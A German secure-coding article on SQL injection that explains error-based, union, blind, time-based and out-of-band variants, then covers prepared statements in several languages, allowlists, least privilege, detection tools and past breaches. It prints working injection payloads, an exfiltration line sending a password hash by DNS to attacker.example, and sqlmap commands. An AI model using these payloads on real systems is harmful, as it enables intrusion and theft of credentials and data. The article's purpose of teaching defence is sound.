SQL-Injection ist seit 1998 (Phrack 54-08, „NT Web Technology Vulnerabilities") dokumentiert und damit eine der ältesten Web-Schwachstellen — und sie ist bis heute jährlich für massive Datenlecks verantwortlich. Dieser Artikel zeigt die vier klassischen Varianten, ihre Detektion und die strukturelle Antwort: parametrierte Queries. Mit konkreten Code-Beispielen pro Sprache und einer kurzen Geschichte der einflussreichsten Vorfälle.

Die vier klassischen Varianten

1. Classic / Error-Based Injection.

Der/die Angreifer:in injiziert Payload und sieht das Ergebnis direkt in der Response — oft als Fehler-Meldung, die SQL-Inhalt verrät, oder als manipuliertes Such-Ergebnis.

SQL error-based-payload.sql
-- Eingabe in Such-Feld:
admin' AND CAST((SELECT password FROM users WHERE id=1) AS INT)--

-- Datenbank wirft Cast-Fehler:
-- "Conversion failed when converting the varchar value 'argon2id$...' to data type int"
-- Angreifer sieht das Passwort-Hash in der Fehler-Meldung

2. Union-Based Injection.

Anhängen einer UNION SELECT-Klausel, die fremde Daten ins ursprüngliche Result einfügt:

SQL union-based-payload.sql
-- Ursprüngliche Query:
SELECT name, price FROM products WHERE category = '{eingabe}'

-- Mit Payload "x' UNION SELECT username, password FROM users--":
SELECT name, price FROM products WHERE category = 'x'
UNION SELECT username, password FROM users--'

Daten aus users werden in das Suchergebnis injiziert. Bedingung: gleiche Spalten-Anzahl und kompatible Typen.

3. Boolean-Blind Injection.

Wenn die Anwendung keine Fehler oder direkten Daten zurückgibt, aber unterschiedlich reagiert (z. B. „gefunden" vs. „nicht gefunden"), lässt sich pro Anfrage ein Bit extrahieren:

SQL blind-boolean-payload.sql
-- Frage: ist das erste Zeichen des Admin-Passworts ein "a"?
admin' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a'--

-- Wenn Login-Form 200 statt 401 antwortet → ja, ist "a"
-- Wenn nicht → nächstes Zeichen probieren

-- Mit binärer Suche und Automatisierung: zeichenweise das Passwort extrahieren

Langsam (eine Anfrage pro Zeichen), aber automatisierbar. sqlmap und ähnliche Tools machen das schnell.

4. Time-Based Blind Injection.

Wenn die App gar nichts Unterschiedliches zurückgibt — gleiche Antwort, gleiche Statuscodes — bleibt nur die Zeit als Side-Channel:

SQL time-based-payload.sql
-- Wenn erstes Zeichen ist "a", schlafe 5 Sekunden:
admin' AND IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0)--

-- App antwortet nach 5s → ja, ist "a"
-- App antwortet sofort → nein

Sehr langsam, aber funktioniert selbst gegen sehr verhärtete Apps.

5. Out-of-Band Injection (OOB).

Wenn weder Response noch Timing analysierbar sind, lassen sich Daten über DNS oder HTTP exfiltrieren:

SQL oob-payload.sql
-- MSSQL: DNS-Query an Angreifer-Domain mit Daten im Hostnamen
'; DECLARE @data VARCHAR(1024);
SELECT @data = password FROM users WHERE id=1;
EXEC('master..xp_dirtree "\\\\' + @data + '.attacker.example\\share"')--

DB-Server löst die DNS-Anfrage auf — Angreifer:in sieht die Daten in seinen DNS-Logs. Funktioniert nur, wenn die DB ausgehende Netzwerk-Zugriffe hat.

Prepared Statements — die strukturelle Lösung

Die Antwort ist seit über 20 Jahren bekannt und in jeder Datenbank-Library implementiert: Prepared Statements. Code-Schablone und Daten werden getrennt an die Datenbank übergeben.

Node.js mit pg (PostgreSQL):

JavaScript nodejs-pg-prepared.js
// Schadhaft
const result = await pool.query(
  `SELECT * FROM users WHERE username = '${username}'`
);

// Sicher: Prepared Statement
const result = await pool.query(
  'SELECT * FROM users WHERE username = $1',
  [username]
);

Node.js mit mysql2:

JavaScript nodejs-mysql-prepared.js
// Sicher
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE username = ?',
  [username]
);

Python mit psycopg (PostgreSQL):

Python python-psycopg-prepared.py
# Sicher
cur.execute(
  "SELECT * FROM users WHERE username = %s",
  (username,)
)

Python mit sqlite3:

Python python-sqlite-prepared.py
# Sicher
cur.execute(
  "SELECT * FROM users WHERE username = ?",
  (username,)
)

PHP mit PDO:

PHP php-pdo-prepared.php
// Sicher
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute(['username' => $username]);
$user = $stmt->fetch();

Java mit JDBC:

Java java-jdbc-prepared.java
// Sicher
PreparedStatement ps = conn.prepareStatement(
  "SELECT * FROM users WHERE username = ?"
);
ps.setString(1, username);
ResultSet rs = ps.executeQuery();

Go mit database/sql:

Go go-sql-prepared.go
// Sicher
rows, err := db.Query(
    "SELECT * FROM users WHERE username = $1",
    username,
)

In jeder Sprache, in jeder Library — das Pattern ist identisch: Platzhalter im Query-String, Werte als separate Parameter.

Wo Parametrierung nicht ausreicht

Prepared Statements lösen die meisten Fälle — aber nicht alle. Konkret kannst du nicht parametrieren:

  • Tabellen-Namen (SELECT * FROM ? funktioniert nicht).
  • Spalten-Namen (SELECT ? FROM users).
  • ORDER BY-Klauseln (Spalten-Namen).
  • LIMIT/OFFSET in manchen DBs (string-strikt).
  • DDL-Statements (CREATE, DROP).

Für diese Fälle: Allowlist im Code.

JavaScript dynamic-column-allowlist.js
// Schadhaft: User wählt Sortier-Spalte
const sortBy = req.query.sort;
const query = `SELECT * FROM products ORDER BY ${sortBy}`;
// sortBy = "(SELECT password FROM users WHERE id=1)" — Daten-Leak

// Sicher: Allowlist
const ALLOWED_SORT = new Set(['name', 'price', 'created_at']);
if (!ALLOWED_SORT.has(sortBy)) {
  return res.status(400).send('Invalid sort column');
}
const query = `SELECT * FROM products ORDER BY ${sortBy}`;

Bei LIMIT/OFFSET zusätzlich auf Integer-Typ validieren:

JavaScript limit-offset-validation.js
const limit = Math.max(1, Math.min(100, parseInt(req.query.limit) || 20));
const offset = Math.max(0, parseInt(req.query.offset) || 0);
const query = `SELECT * FROM products LIMIT ${limit} OFFSET ${offset}`;

parseInt mit Default + Range-Check macht den Wert garantiert zu einer Zahl — kein Injection-Vektor mehr.

ORM und Query-Builder machen diese Fälle oft schon automatisch sicher — siehe sql-injection-orm-fallen.

Anti-Patterns

Anti-Pattern 1 — String-Konkatenation.

JavaScript anti-string-concat.js
// Klassischer SQL-Injection-Vektor
const query = `SELECT * FROM users WHERE id = ${userId}`;

Auch wenn userId aus parseInt kommt: keine Garantie ohne explizite Validierung. Niemals String-Konkat für Query-Bau.

Anti-Pattern 2 — Apostrophe-Escaping als „Schutz".

JavaScript anti-quote-escape.js
// Schadhaft: doppelt-Apostrophierung
const escaped = userInput.replace(/'/g, "''");
const query = `SELECT * FROM users WHERE username = '${escaped}'`;

Funktioniert in manchen DBs für manche Cases. Hat aber zahlreiche Bypass-Vektoren:

  • Backslash-Escape in MySQL: \' heißt ein Apostroph; mit \\ als Anführer wird der Filter umgangen.
  • Unicode-Anführungszeichen (U+2019) werden vom Filter nicht erfasst, von MySQL aber wie ASCII-Apostroph interpretiert.
  • NULL-Bytes, EBCDIC-Codepoints und andere DB-spezifische Eigenheiten.

Prepared Statements vermeiden das Problem komplett.

Anti-Pattern 3 — Stored Procedures als Garant.

SQL anti-stored-procedure.sql
-- Stored Procedure mit dynamischem SQL — Injection im SP-Body!
CREATE PROCEDURE searchUsers(@name VARCHAR(100))
AS
BEGIN
  DECLARE @sql VARCHAR(1000);
  SET @sql = 'SELECT * FROM users WHERE name = ''' + @name + '''';
  EXEC(@sql);
END

Stored Procedures können parametriert sein — sind aber nicht automatisch. Wenn die SP intern dynamisches SQL baut, ist Injection genauso möglich.

Anti-Pattern 4 — Annahme, dass Frontend-Validierung reicht.

JavaScript-Validation im Browser sagt nichts — Angreifer:innen umgehen das Browser-JS und schicken die Anfrage direkt. Validierung muss server-seitig stattfinden.

Detection und Tests

sqlmap — das Standard-Tool für SQL-Injection-Detection:

Bash sqlmap-basic.sh
# Basis-Scan eines Endpunkts
sqlmap -u "https://example.com/search?q=test" --batch

# POST-Request mit Cookies
sqlmap -u "https://example.com/login" \
       --data="username=admin&password=test" \
       --cookie="session=abc" \
       --batch

# Eskaliert bis zu Datenexfiltration, RCE (wenn möglich)

sqlmap erkennt automatisch Database-Typ, Injection-Klasse, mögliche Daten-Exfiltration. Nur auf eigenen Apps oder mit ausdrücklicher Erlaubnis — sonst ist es Straftat (§ 202c StGB in Deutschland).

OWASP ZAP und Burp Suite Pro haben eingebaute SQLi-Scanner.

Statische Analyse:

  • Semgrep mit SQL-Injection-Regeln (p/sqli).
  • CodeQL (GitHub) mit Sicherheits-Pack.
  • Snyk Code, Sonar, Checkmarx — kommerzielle SAST.

Code-Review-Pattern:

Grep im Code-Base nach:

  • String-Konkat mit SQL-Keywords (SELECT, INSERT, UPDATE, DELETE + Template-Literal/Format-String).
  • executeQuery, query, execute mit String-Argument statt parametriert.
  • db.raw(...), db.exec(...) ohne Parameter-Liste.

Reale Vorfälle

Heartland Payment Systems (2008). SQL-Injection in einem Zahlungs-Backend führte zur Kompromittierung von rund 134 Millionen Kreditkartendaten. Damals einer der größten Datenlecks der Geschichte. Angreifer (Albert Gonzalez) wurde 2010 zu 20 Jahren verurteilt.

Sony Pictures (2011). LulzSec-Gruppe nutzte SQL-Injection für die Veröffentlichung von Millionen Sony-Kundendaten. Bewusst öffentlich gemacht, um Aufmerksamkeit zu erzeugen.

TalkTalk UK (2015). Britischer Telekom-Anbieter, SQL-Injection in einem Web-Frontend, 157.000 Datensätze. Bußgeld 400.000 Pfund.

Equifax (2017). OGNL-Injection in Apache Struts (verwandt mit SQL-Injection), 147 Millionen Kreditdaten. Größter US-Datenleck dieser Klasse. Bußgelder über 700 Millionen USD.

Marriott / Starwood (2018). Komplexe Mehr-Stufen-Kompromittierung, an einem Punkt mit SQL-Injection. 500 Millionen Datensätze, 18,4 Millionen Pfund DSGVO-Bußgeld.

Die Vorfälle ziehen sich durch zwei Jahrzehnte — SQL-Injection ist keine Klasse, die „erledigt" ist. Pentest-Berichte 2024/25 finden weiterhin regelmäßig SQL-Injection in Custom-Apps, Legacy-Code, vergessenen Admin-Endpoints.

Datenbank-spezifische Eigenheiten

Verschiedene Datenbanken haben verschiedene Quirks, die Injection-Tests unterscheiden:

PostgreSQL:

  • -- als Kommentar.
  • || für String-Konkatenation.
  • pg_sleep() für Time-Based.
  • pg_read_file() für File-Read (wenn DB-User Rechte hat).

MySQL / MariaDB:

  • -- (mit Leerzeichen!), #, /* */ als Kommentar.
  • CONCAT() für String-Verbindung.
  • SLEEP() für Time-Based.
  • LOAD_FILE() für File-Read.
  • INTO OUTFILE für File-Write (oft Webshell-Vektor).

MSSQL:

  • -- als Kommentar.
  • + für String-Konkat.
  • WAITFOR DELAY '0:0:5' für Time-Based.
  • xp_cmdshell für RCE (wenn aktiviert, oft Default-deaktiviert seit MSSQL 2005).
  • xp_dirtree für OOB-DNS.

Oracle:

  • -- als Kommentar.
  • || für String-Konkat.
  • DBMS_LOCK.SLEEP() für Time-Based.
  • UTL_HTTP für OOB.

SQLite:

  • -- als Kommentar.
  • || für String-Konkat.
  • Keine direkte Sleep-Funktion (Time-Based per Random-Hash-Ketten möglich).
  • Keine Multi-Statement-Execution per Default (eingeschränkt durch Engine).

Beim Pentest oder Code-Review hilft die Datenbank-Erkennung: bestimmte Payloads funktionieren nur in bestimmten DBs.

Least Privilege im Datenbank-User

Auch bei perfekter Parametrierung ist Least Privilege im DB-User Pflicht-Bestandteil der Defense-in-Depth:

Schadhaft — Web-App nutzt postgres-Superuser:

SQL anti-superuser-app.sql
-- App-Connection-String:
-- postgres://postgres:masterpass@db:5432/myapp

-- Bei erfolgreicher SQL-Injection: alles möglich
-- DROP DATABASE, CREATE EXTENSION, COPY FROM, etc.

Sicher — separater App-User mit minimalen Rechten:

SQL dedicated-app-user.sql
-- Einmalig:
CREATE USER myapp_user WITH PASSWORD 'strong-password';
GRANT CONNECT ON DATABASE myapp TO myapp_user;
GRANT USAGE ON SCHEMA public TO myapp_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO myapp_user;
-- Kein DROP, kein CREATE, kein COPY, kein Superuser-Recht

Bei einer SQL-Injection in der App kann der/die Angreifer:in dann maximal die Daten lesen/ändern, die der App-User darf — kein DROP TABLE, kein Filesystem-Zugriff, kein CREATE EXTENSION für RCE.

Zusätzlich:

  • Migrationen unter separatem User (myapp_migrate) mit DDL-Rechten — App selbst hat sie nicht.
  • Read-Only-Replica für Reports und Analytics — kein Write-Zugriff von dort.
  • Row-Level Security (PostgreSQL) für Multi-Tenant-Trennung — siehe multi-tenancy-isolation (Kap 15).

Häufige Stolperfallen

„Wir nutzen Stored Procedures, also kein SQLi-Risiko

Falsch. Stored Procedures können dynamisches SQL bauen (EXEC(@sql), EXECUTE IMMEDIATE). Wenn das dynamische SQL aus Parametern konstruiert wird, ist Injection drin. Parametrierung muss innerhalb der SP gemacht werden, nicht nur außen.

LIKE-Patterns mit User-Input

WHERE name LIKE '%{userInput}%' ist klassischer Injection-Vektor. Auch parametriert müssen die Wildcards (%, _) escaped werden, sonst kann ein:e Angreifer:in Wildcard-Patterns nutzen, um sensitive Daten per Trial-and-Error zu erraten (Side-Channel via Performance).

UTF-8-Encoding-Bypass historisch

Klassischer Trick gegen MySQL pre-5.1: %bf%27 (Multi-Byte-UTF-8) wurde als Escape-Sequenz interpretiert und umging Apostrophe-Filter. Heute meist gefixt, aber Beispiel dafür, warum Filter-basierte Verteidigung schlechter ist als Parametrierung.

ORDER BY-Injection ist ein häufiger Übersehener

Bei „dynamisch sortieren"-Features wird die Spalte oft aus User-Input genommen. Wenn dort SQL eingeschmuggelt wird, ist es ein Daten-Leak-Vektor. Allowlist immer bei dynamischen Spaltennamen.

DB-Fehler-Meldungen in Production zeigen

Eine sehr verbreitete Schwäche: App fängt SQL-Fehler nicht ab und zeigt sie an die Nutzer:in. Pentests starten oft mit gezielten Fehler-Triggern, um aus der Antwort die DB-Engine und Schema-Details zu lesen. Generic 500-Page in Production, detaillierte Fehler nur in Logs.

Time-Based-Detection ist Standard im Pentest

Selbst gut abgeschirmte Apps (kein Output-Mismatch, kein Fehler-Detail) werden routinemäßig auf Time-Based getestet. SLEEP(5) in MySQL, pg_sleep(5) in Postgres, WAITFOR DELAY in MSSQL — jede Sekunde Verzögerung ist ein Detection-Signal. Defense: WAF mit Time-Based-Pattern-Detection ergänzt Parametrierung.

WAF ist kein Ersatz

Web Application Firewalls (Cloudflare, AWS WAF, Akamai) erkennen viele Standard-SQLi-Patterns. Bug-Bounty-Forschende haben aber regelmäßig WAF-Bypasses dokumentiert — durch Encoding, Whitespace-Tricks, Comment-Injection. WAF reduziert Angriffsfläche; ersetzt nicht parametrierte Queries.

Weiterführende Ressourcen

Externe Quellen

/ Weiter

Zurück zu Injection (SQL/NoSQL/Cmd)

Zur Übersicht